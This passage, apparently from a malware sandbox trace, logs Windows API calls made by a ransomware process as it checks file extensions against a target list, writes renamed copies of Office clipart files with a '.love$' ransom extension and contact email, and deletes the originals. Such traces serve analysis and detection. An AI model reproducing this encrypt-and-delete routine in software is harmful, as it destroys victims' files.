(lpString1=".zip", lpString2=".GIF") returned 1 [0231.496] lstrlenW (lpString=".rar") returned 4 [0231.496] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.496] lstrlenW (lpString=".bz2") returned 4 [0231.496] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.496] lstrlenW (lpString=".7z") returned 3 [0231.496] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.496] lstrlenW (lpString=".dbf") returned 4 [0231.496] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.496] lstrlenW (lpString=".1cd") returned 4 [0231.496] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.496] lstrlenW (lpString=".jpg") returned 4 [0231.496] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.496] lstrlenW (lpString=".doc") returned 4 [0231.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.496] lstrlenW (lpString=".docx") returned 5 [0231.496] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.496] lstrlenW (lpString=".pdf") returned 4 [0231.496] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.496] lstrlenW (lpString=".xls") returned 4 [0231.496] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.497] lstrlenW (lpString=".xlsx") returned 5 [0231.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.497] lstrlenW (lpString=".ppt") returned 4 [0231.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.497] lstrlenW (lpString=".zip") returned 4 [0231.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.497] lstrlenW (lpString=".rar") returned 4 [0231.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.497] lstrlenW (lpString=".bz2") returned 4 [0231.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.497] lstrlenW (lpString=".7z") returned 3 [0231.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.497] lstrlenW (lpString=".dbf") returned 4 [0231.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.497] lstrlenW (lpString=".1cd") returned 4 [0231.497] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0231.497] lstrlenW (lpString=".jpg") returned 4 [0231.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.497] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0231.497] lstrlenW (lpString="BD10972_.GIF") returned 12 [0231.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.498] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=20189) returned 1 [0231.498] CloseHandle (hObject=0x47c) returned 1 [0231.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0231.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.499] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.499] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0231.500] GetLastError () returned 0x0 [0231.500] ReadFile (in: hFile=0x47c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0231.505] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0231.506] ReadFile (in: hFile=0x47c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.506] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.507] SetEndOfFile (hFile=0x46c) returned 1 [0231.507] CloseHandle (hObject=0x46c) returned 1 [0231.507] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.507] SetEndOfFile (hFile=0x47c) returned 1 [0231.515] CloseHandle (hObject=0x47c) returned 1 [0231.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0231.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0231.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.517] lstrlenW (lpString=".doc") returned 4 [0231.517] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.517] lstrlenW (lpString=".docx") returned 5 [0231.517] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.517] lstrlenW (lpString=".pdf") returned 4 [0231.517] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.517] lstrlenW (lpString=".xls") returned 4 [0231.517] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.517] lstrlenW (lpString=".xlsx") returned 5 [0231.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.517] lstrlenW (lpString=".ppt") returned 4 [0231.517] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.517] lstrlenW (lpString=".zip") returned 4 [0231.518] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.518] lstrlenW (lpString=".rar") returned 4 [0231.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.518] lstrlenW (lpString=".bz2") returned 4 [0231.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.518] lstrlenW (lpString=".7z") returned 3 [0231.518] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.518] lstrlenW (lpString=".dbf") returned 4 [0231.518] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.518] lstrlenW (lpString=".1cd") returned 4 [0231.518] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.518] lstrlenW (lpString=".jpg") returned 4 [0231.518] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.518] lstrlenW (lpString=".doc") returned 4 [0231.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.518] lstrlenW (lpString=".docx") returned 5 [0231.518] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.518] lstrlenW (lpString=".pdf") returned 4 [0231.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.518] lstrlenW (lpString=".xls") returned 4 [0231.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.518] lstrlenW (lpString=".xlsx") returned 5 [0231.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.518] lstrlenW (lpString=".ppt") returned 4 [0231.518] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.519] lstrlenW (lpString=".zip") returned 4 [0231.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.519] lstrlenW (lpString=".rar") returned 4 [0231.519] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.519] lstrlenW (lpString=".bz2") returned 4 [0231.519] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.519] lstrlenW (lpString=".7z") returned 3 [0231.519] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.519] lstrlenW (lpString=".dbf") returned 4 [0231.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.519] lstrlenW (lpString=".1cd") returned 4 [0231.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0231.519] lstrlenW (lpString=".jpg") returned 4 [0231.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.519] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0231.519] lstrlenW (lpString="BD19563_.GIF") returned 12 [0231.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0231.520] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=20454) returned 1 [0231.520] CloseHandle (hObject=0x47c) returned 1 [0231.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0231.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.660] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.660] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.818] GetLastError () returned 0x0 [0232.818] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0232.824] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0232.827] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.827] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.828] SetEndOfFile (hFile=0x3bc) returned 1 [0232.828] CloseHandle (hObject=0x3bc) returned 1 [0232.828] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.828] SetEndOfFile (hFile=0x48c) returned 1 [0232.831] CloseHandle (hObject=0x48c) returned 1 [0232.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0232.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0232.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.833] lstrlenW (lpString=".doc") returned 4 [0232.833] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.833] lstrlenW (lpString=".docx") returned 5 [0232.833] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.833] lstrlenW (lpString=".pdf") returned 4 [0232.833] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.833] lstrlenW (lpString=".xls") returned 4 [0232.833] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.833] lstrlenW (lpString=".xlsx") returned 5 [0232.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.833] lstrlenW (lpString=".ppt") returned 4 [0232.833] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.834] lstrlenW (lpString=".zip") returned 4 [0232.834] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.834] lstrlenW (lpString=".rar") returned 4 [0232.834] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.834] lstrlenW (lpString=".bz2") returned 4 [0232.834] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.834] lstrlenW (lpString=".7z") returned 3 [0232.834] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.834] lstrlenW (lpString=".dbf") returned 4 [0232.834] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.834] lstrlenW (lpString=".1cd") returned 4 [0232.834] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.834] lstrlenW (lpString=".jpg") returned 4 [0232.834] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.834] lstrlenW (lpString=".doc") returned 4 [0232.834] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.834] lstrlenW (lpString=".docx") returned 5 [0232.834] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.834] lstrlenW (lpString=".pdf") returned 4 [0232.834] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.834] lstrlenW (lpString=".xls") returned 4 [0232.834] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.834] lstrlenW (lpString=".xlsx") returned 5 [0232.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.835] lstrlenW (lpString=".ppt") returned 4 [0232.835] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.835] lstrlenW (lpString=".zip") returned 4 [0232.835] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.835] lstrlenW (lpString=".rar") returned 4 [0232.835] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.835] lstrlenW (lpString=".bz2") returned 4 [0232.835] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.835] lstrlenW (lpString=".7z") returned 3 [0232.835] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.835] lstrlenW (lpString=".dbf") returned 4 [0232.835] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.835] lstrlenW (lpString=".1cd") returned 4 [0232.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0232.835] lstrlenW (lpString=".jpg") returned 4 [0232.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.835] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.835] lstrlenW (lpString="BD20013_.WMF") returned 12 [0232.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.837] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=11058) returned 1 [0232.837] CloseHandle (hObject=0x48c) returned 1 [0232.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0232.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0232.838] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.838] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.839] GetLastError () returned 0x0 [0232.839] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0232.841] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0232.842] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.842] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.842] SetEndOfFile (hFile=0x3bc) returned 1 [0232.843] CloseHandle (hObject=0x3bc) returned 1 [0232.843] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.843] SetEndOfFile (hFile=0x48c) returned 1 [0232.846] CloseHandle (hObject=0x48c) returned 1 [0232.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0232.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0232.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.847] lstrlenW (lpString=".doc") returned 4 [0232.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.847] lstrlenW (lpString=".docx") returned 5 [0232.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.848] lstrlenW (lpString=".pdf") returned 4 [0232.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString=".xls") returned 4 [0232.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.848] lstrlenW (lpString=".xlsx") returned 5 [0232.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.848] lstrlenW (lpString=".ppt") returned 4 [0232.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.848] lstrlenW (lpString=".zip") returned 4 [0232.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.848] lstrlenW (lpString=".rar") returned 4 [0232.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString=".bz2") returned 4 [0232.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.848] lstrlenW (lpString=".7z") returned 3 [0232.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0232.848] lstrlenW 